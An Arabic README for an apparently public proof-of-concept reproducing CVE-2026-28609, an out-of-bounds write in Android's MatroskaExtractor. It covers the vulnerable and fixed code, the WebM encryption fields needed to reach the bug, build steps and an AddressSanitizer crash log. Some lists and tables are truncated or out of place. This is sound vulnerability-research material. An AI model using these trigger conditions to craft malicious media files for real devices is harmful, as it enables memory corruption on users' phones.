
إثبات مفهوم وأداة إعادة إنتاج مزوّدة بأدوات قياس لـ CVE-2026-28609، وهو كتابة خارج الحدود في MatroskaExtractor الخاص بنظام Android يمكن الوصول إليها عبر ملف WebM مصمم خصيصًا يحتوي على مسار صوتي PCM بترتيب البايتات الكبير.
إثبات مفهوم، وأداة إعادة إنتاج مُجهّزة، ومراجعة تقنية لـ CVE-2026-28609، وهي كتابة خارج الحدود في MatroskaExtractor الخاص بنظام أندرويد، يمكن الوصول إليها عبر ملف WebM مُصمَّم بعناية يحتوي على مسار صوتي PCM بترتيب البايتات الكبير (big-endian).
frameworks/av/media/module/extractors/mkv/MatroskaExtractor.cppتحتوي الدالة MatroskaSource::read() في MatroskaExtractor الخاص
بنظام أندرويد على حلقة تبديل بايتات PCM بترتيب البايتات الكبير تقوم
بتحويل مؤشر بيانات الإطار إلى uint16_t * قبل إضافة
frame->range_offset()، وهو إزاحة بالبايتات.
ولأن حساب المؤشرات في C على uint16_t * يضاعف الإزاحة بمقدار
sizeof(uint16_t) = 2، فإن المؤشر الناتج يقع على مسافة 2 * range_offset
بايت من بداية المخزن المؤقت، وليس range_offset بايت.
عندما يكون range_offset > 0، تقرأ الحلقة وتكتب بايتًا واحدًا أو أكثر
بعد نهاية MediaBuffer الخاص بالإطار. على جهاز بدون ASan
تنجح القراءة الزائدة بصمت، وتُفسد الكتابة الزائدة البايت
الذي يلي المخزن المؤقت مباشرة.
السطر المصاب:
// MatroskaExtractor.cpp:1105 (pre-fix)
uint16_t *dstData = (uint16_t *)frame->data() + frame->range_offset();
uint16_t *srcData = (uint16_t *)frame->data() + frame->range_offset();
for (size_t i = 0; i < frame->range_length() / 2; i++) {
dstData[i] = ntohs(srcData[i]);
}
يقوم الإصلاح في المصدر بتحويل المؤشر إلى uint8_t * قبل تطبيق
الإزاحة:
uint16_t *data = (uint16_t *)((uint8_t *)frame->data() + frame->range_offset());
for (size_t i = 0; i < frame->range_length() / 2; i++) {
data[i] = ntohs(data[i]);
}
مُشغِّل عامل وقابل لإعادة الإنتاج لـ CVE-2026-28609، تم التحقق منه تحت AddressSanitizer على جهاز أندرويد 14 حقيقي. يتضمّن المستودع:
range_offset غير صفرية.dlopen،
وتستدعي GETEXTRACTORDEF، وتقرأ الإطارات من الملف.النتيجة، على جهاز مصاب:
==14927==ERROR: AddressSanitizer: heap-buffer-overflow
READ of size 2 at 0x003c61ab3960 thread T0
#0 ... MatroskaSource::read(...) MatroskaExtractor.cpp:1113
0x003c61ab3961 is located 0 bytes after 65-byte region
يتطلّب الفرع المصاب تحقّق جميع ما يلي:
| الشرط | المصدر |
|---|
تتحقّق الشروط الثلاثة الأولى عبر تعريف المسار بمعرّف الترميز
A_PCM/INT/BIG وعمق بتات 16. أما الشرط الرابع فهو المثير للاهتمام.
يُضبط range_offset على قيمة غير صفرية فقط في
MatroskaSource::setWebmBlockCryptoInfo()، التي تُستدعى من
readBlock() تحت الشرط:
if (err == OK && mExtractor->mIsWebm && trackInfo->mEncrypted) {
err = setWebmBlockCryptoInfo(mbuf);
}
لذلك يجب أن يستوفي ملف التشغيل ما يلي:
mIsWebm — يجب أن يكون عنصر EBML باسم DocType هو "webm"، وليس
"matroska".mEncrypted — يجب أن يُعلن المسار عن ContentEncodings مع
ContentEncodingType = 1 (تشفير) وContentEncKeyID.0x1) هي 0، مما يشير إلى أن الإطار
غير مشفّر لكنه مُرمَّز المحتوى. يأخذ هذا الفرع else في
setWebmBlockCryptoInfo، الذي يستدعي set_range(1, len - 1).بعد التجريد، يصبح range_offset = 1 لكل إطار. ثم يحسب الفرع المصاب
(uint16_t *)data + 1، الذي يتقدّم بمقدار بايتين،
وتقرأ/تكتب الحلقة البايتات [2, 2 + range_length) — أي بايت واحد
بعد نهاية التخصيص البالغ 65 بايت (إطار 64 بايت + إشارة
بايت واحد).
+---------+------------------------------------+
| 0x00 | 64 bytes of frame data (0xAA...) |
+---------+------------------------------------+
signal PCM payload
يُجرَّد بايت الإشارة 0x00 بواسطة set_range(1, 64)، تاركًا
إطارًا بحجم 64 بايت داخل تخصيص بحجم 65 بايت. ثم تكتب
حسابات المؤشرات المصابة عند إزاحة البايت 2 حتى 65.
.
├── README.md
├── LICENSE
├── .gitignore
│
├── exploit/
│ └── generator.py WebM generator + verifier
│
├── harness/
│ └── harness_c_abi.cpp dlopen-based trigger harness
│
└── scripts/
├── build.conf API level, sanitizer, RTTI flags
├── include_dirs.conf.sample Include roots template
├── build_foundation.sh Build the foundation archive
├── build_plugin.sh Build the extractor plugin
├── build_harness.sh Build the harness
└── run.sh End-to-end build + push + run
الاعتماديات المصدرية، التي يستنسخها المستخدم قبل البناء:
av/ frameworks/av (AOSP)
libwebm/ external/libwebm (mkvparser)
flac/ external/flac
aosp-includes/ system/core, system/logging, system/libbase,
frameworks/native — header trees only
aosp-includes/libs/ libstagefright_foundation.so, libmedia.so,
libutils.so, libbinder.so, libcutils.so,
libbase.so, libmediandk.so, libstagefright_flacdec.so
— pulled from the target device
bash وpython3 وmake$ANDROID_NDK_HOMEadb على PATH (Linux، أو adb.exe من WSL)mkdir -p deps && cd deps
# AOSP frameworks/av (contains the vulnerable extractor)
git clone --depth 1 -b android-14.0.0_r1 \
https://android.googlesource.com/platform/frameworks/av av
# libwebm (mkvparser)
git clone --depth 1 \
https://android.googlesource.com/platform/external/libwebm libwebm
# libFLAC
git clone --depth 1 \
https://android.googlesource.com/platform/external/flac flac
# AOSP header trees (no full checkout required)
mkdir -p aosp-includes
cd aosp-includes
for m in core libbase logging native; do
git clone --depth 1 \
"https://android.googlesource.com/platform/system/$m" "$m" 2>/dev/null || true
done
cd ../..
إذا كانت شجرة AOSP لديك تستخدم تخطيط المستخرج المعياري
(av/media/module/extractors/mkv/)، فلا حاجة إلى أي تعديل إضافي.
أما إذا كانت تستخدم التخطيط الأقدم (av/media/libstagefright/matroska/)،
فراجع نصوص البناء بخصوص متغيّر MKV.
mkdir -p deps/aosp-includes/libs
for lib in libstagefright_foundation.so libstagefright_flacdec.so \
libmedia.so libutils.so libbinder.so libcutils.so \
libbase.so libmediandk.so; do
adb pull "/system/lib64/$lib" deps/aosp-includes/libs/
done
cp scripts/include_dirs.conf.sample scripts/include_dirs.conf
cp scripts/build.conf.sample scripts/build.conf # if provided separately
$EDITOR scripts/build.conf
اضبط ANDROID_API ليطابق جهازك الهدف (مثلًا 34 لـ
Android 14).
./scripts/run.sh
ينفّذ نص run.sh أربع خطوات بالترتيب:
build_foundation.sh — يُصرّف 28 ملف مصدر من
av/media/module/foundation/ وav/media/module/metadatautils/
إلى plugin-asan/libstagefright_foundation_asan.a.build_plugin.sh — يُصرّف MatroskaExtractor.cpp
وmkvparser.cc وmkvreader.cc ويربطها مع الأرشيف
إلى libmkvextractor_asan.so.build_harness.sh — يُصرّف harness_c_abi مع -shared-libsan.poc.mkv إلى
/data/local/tmp ويشغّل الأداة.تكتشف نصوص البناء تلقائيًا جذور التضمين المفقودة. عندما
يُبلّغ المصرّف عن fatal error: 'X' file not found، يبحث النص
في أشجار الاعتماديات، ويجد المجلد الأب لـ X،
ويضيفه إلى include_dirs.conf. لهذا السبب ينمو include_dirs.conf
خلال البناء الأول. بمجرد اكتشاف جميع الترويسات،
يستقرّ الملف وتصبح عمليات البناء اللاحقة حتمية.
على جهاز مصاب، تُنتج الأداة:
[+] loaded /data/local/tmp/libmkvextractor_asan.so
[+] plugin: Matroska Extractor uuid[0..3]=abbedd92 version=1 api=3
[+] sniffer confidence = 0.600
[+] tracks: 1
[*] track 0: start
[PCM] be=1 bpf=16 off=1 len=64 data=0x3c61ab3920
=================================================================
==14927==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x003c61ab3960 at pc 0x0071ecb0ec4c bp 0x007fe7ae1710 sp 0x007fe7ae1708
READ of size 2 at 0x003c61ab3960 thread T0
#0 0x71ecb0ec48 (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
#1 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#2 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#3 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
0x003c61ab3961 is located 0 bytes after 65-byte region [0x003c61ab3920,0x003c61ab3961)
allocated by thread T0 here:
#0 0x727c507668 (/data/local/tmp/libclang_rt.asan-aarch64-android.so+0xe4668) (BuildId: 163b9ff057b95542705e47bbc20f6f2ca91c5f58)
#1 0x5861ac26c0 (/data/local/tmp/harness_c_abi+0x46c0)
#2 0x71ecb15e7c (/data/local/tmp/libmkvextractor_asan.so+0xbee7c)
#3 0x71ecb0b50c (/data/local/tmp/libmkvextractor_asan.so+0xb450c)
#4 0x71ecb0d96c (/data/local/tmp/libmkvextractor_asan.so+0xb696c)
#5 0x71ecb180c8 (/data/local/tmp/libmkvextractor_asan.so+0xc10c8)
#6 0x5861ac1ed0 (/data/local/tmp/harness_c_abi+0x3ed0)
#7 0x7279cf15b8 (/apex/com.android.runtime/lib64/bionic/libc.so+0x8c5b8) (BuildId: a6a4bb5d4c7b3e99262fee774c3907c6)
#8 0x5861ac15f4 (/data/local/tmp/harness_c_abi+0x35f4)
SUMMARY: AddressSanitizer: heap-buffer-overflow (/data/local/tmp/libmkvextractor_asan.so+0xb7c48)
Shadow bytes around the buggy address:
0x003c61ab3680: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fa fa
0x003c61ab3700: fa fa fa fa fd fd fd fd fd fd fd fd fd fd fd fa
0x003c61ab3780: fa fa fa fa 00 00 00 00 00 00 00 00 00 fa fa fa
0x003c61ab3800: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 fa fa
0x003c61ab3880: fa fa fa fa 00 00 00 00 00 00 00 00 00 00 00 fa
=>0x003c61ab3900: fa fa fa fa 00 00 00 00 00 00 00 00[01]fa fa fa
0x003c61ab3980: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3a80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b00: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
0x003c61ab3b80: fa fa fa fa 00 00 00 00 00 00 00 00 01 fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==14927==ABORTING
Aborted
تؤكّد ثلاثة أرقام التشغيل:
WRITE of size 2 (أو READ، عندما يلتقط ASan نصف القراءة من
data[i] = ntohs(data[i]) أولًا)65-byte region — تخصيص الإطار هو 64 بايت بيانات بالإضافة إلى
إشارة التشفير بحجم بايت واحد0 bytes after — يقع الوصول على أول بايت بعد
التخصيصsetWebmBlockCryptoInfo (بايت
الإشارة 0x03)، وهو غير مُستخدَم من قبل هذا المولّد./data/local/tmp.
تُحمَّل الإضافة فقط بواسطة عملية الأداة.يتضمّن المولّد مُدقّقًا. شغّله قبل الدفع:
python3 exploit/generator.py poc.mkv
توقّع:
[verify] OK - webm DocType + Encryption ContentEncoding will
[verify] cause readBlock to strip the 1-byte signal via
[verify] set_range(1, len-1), setting range_offset=1
[verify] on every PCM frame. The uint16_t* cast in the
[verify] vulnerable branch then writes 2 bytes past the
[verify] end of the 64-byte frame buffer.
يُتحقَّق من كل حقل مطلوب: DocType وTrackType وCodecID
وBitDepth وChannels وContentEncodingType وContentEncodingScope
وContentEncAlgo وContentEncKeyID. إذا كان أي حقل خاطئًا،
ينتهي المولّد بـ FAIL ويطبع عدم التطابق المحدّد.
| التاريخ | الحدث |
|---|---|
| 2026-03-02 | حجز CVE بواسطة Google |
| 2026-09-08 | الإفصاح العام في نشرة أمان أندرويد |
| 2026-09-09 | دمج الإصلاح في LineageOS lineage-20.0 (التغيير 497992) |
| 2026-09 |
يُنشَر هذا المستودع بشكل صارم لأغراض البحث الأمني الدفاعي والتحقق من الثغرات. وهو مخصّص لـ:
لا تستخدم هذا الكود على أجهزة لا تملكها أو لا تملك تفويضًا كتابيًا صريحًا لاختبارها. قد يؤدي تشغيل الأداة على جهاز ليس ملكك، أو استخدام المولّد لإنتاج ملفات تشغيل للتوزيع، إلى انتهاك قوانين إساءة استخدام الحاسوب في نطاق ولايتك القضائية وسياسة الاستخدام المقبول في GitHub.
لا يُقرّ المؤلف باستخدام هذا البحث لأغراض خبيثة. ملف التشغيل الذي ينتجه المولّد مُصمَّم لتعطيل دالة محدّدة تحت AddressSanitizer؛ وهو لا يحتوي على حمولة قابلة للتنفيذ، ولا يعدّل النظام، ولا يستمر بعد عملية الأداة.
لا يُقدَّم أي ضمان. يُقدَّم الكود كما هو. لا يتحمّل المؤلف أي مسؤولية عن الأضرار الناتجة عن سوء الاستخدام أو عن تشغيل الأداة على أجهزة إنتاجية.
إذا كنت مورّدًا وتعتقد أن هذا المستودع يحتوي على مواد يجب التعامل معها بموجب الإفصاح المنسّق، فافتح issue وسيستجيب المؤلف خلال 72 ساعة.
يُصدَر هذا المشروع بموجب ترخيص Apache-2.0. راجع LICENSE للاطلاع على
النص الكامل.
حقوق النشر © 2026 — مساهمو PoC الخاص بـ CVE-2026-28609.
أعد تسمية هذا إلى include_dirs.conf بعد الاستنساخ. هذا هو البذرة. توسّعه نصوص البناء خلال التشغيل الأول.
# include_dirs.conf
#
# Include directories for the CVE-2026-28609 plugin and harness builds.
# One path per line. Blank lines and lines starting with '#' are ignored.
# $ROOT expands to the project root (the directory containing scripts/).
#
# The build scripts extend this file automatically when they discover
# the parent directory of a missing header. Commit the extended version
# if you want reproducible builds.
$ROOT/av/include
$ROOT/av/media/ndk/include
$ROOT/av/media/libstagefright/include
$ROOT/av/media/module/foundation/include
$ROOT/av/media/module/extractors/mkv/include
$ROOT/av/media/module/codecs/flac/dec
$ROOT/libwebm
$ROOT/libwebm/mkvparser
$ROOT/flac/include
$ROOT/aosp-includes/core/libutils/include
$ROOT/aosp-includes/core/libcutils/include
$ROOT/aosp-includes/core/libcutils/include_outside_system
$ROOT/aosp-includes/core/include
$ROOT/aosp-includes/core/libsystem/include
$ROOT/aosp-includes/libbase/include
$ROOT/aosp-includes/native/include
$ROOT/aosp-includes/native/libs/binder/include
$ROOT/aosp-includes/native/libs/ui/include
$ROOT/aosp-includes/logging/liblog/include
scripts/build.conf.sampleأعد التسمية إلى build.conf بعد الاستنساخ.
# build.conf — build configuration for CVE-2026-28609 PoC
# Android API level. Must be >= 29. Match your target device.
ANDROID_API=34
# Enable AddressSanitizer.
ENABLE_ASAN=1
# Debug flags.
OPT_FLAGS="-O1 -g -fno-omit-frame-pointer"
# Match AOSP's libutils / libmedia / libstagefright build flags.
# Set to 1 unless you have a specific reason not to.
DISABLE_RTTI=1
DISABLE_EXCEPT
IONS=1
| المسار هو PCM | mType == PCM |
| ترتيب البايتات الكبير | AMEDIAFORMAT_KEY_PCM_BIG_ENDIAN == 1 |
| عيّنات 16 بت | AMEDIAFORMAT_KEY_BITS_PER_SAMPLE == 16 |
الإطار له range_offset غير صفري | يُضبط بواسطة set_range(offset, ...) |
| تطوير هذا PoC والتحقق منه على جهاز حقيقي |